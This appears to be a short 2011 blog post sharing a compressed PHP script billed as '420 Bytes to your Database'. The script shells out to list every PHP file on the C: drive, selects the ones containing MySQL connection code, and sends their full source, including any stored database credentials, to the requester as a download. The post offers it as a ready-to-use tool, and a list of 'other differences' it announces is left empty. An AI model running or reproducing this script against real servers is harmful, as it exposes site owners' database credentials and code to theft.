420 Bytes to your Database

January 3, 2011
For the first post of the year, I've decided it was time to put up a version two of my 479 Bytes to your database script. This one does the exact same thing as the other one, with a few small exceptions.

Download Original
  1. <?PHP ini_set('max_execution_time',0);shell_exec("dir c:\*.php/b/s>Z");$f=explode("\r\n",file_get_contents("Z"));FOR($i=0;$i<count($f)-1;$i++){$k=file_get_contents($f[$i]);IF (stripos($k,"ysql_co")>0)$d[$i]="echo\"<p>FILE:\".base64_decode(\"".base64_encode($f[$i])."\").\"</p>\".nl2br(htmlentities(base64_decode(\"".base64_encode($k)."\")))";}header("Content-Disposition:attachment");FOREACH($d AS$v){ECHO"<?PHP $v;?>";}
This version does it a little better, it preserves the name of your orignal script and your downloaded script follows that name.

Other differences are:

Overall, this script does the same thing as the other one, just 59 bytes shorter. There may even be room to improve this, which we may see the next time I do an iteration of this!
Name:

No comments yet! Be the first!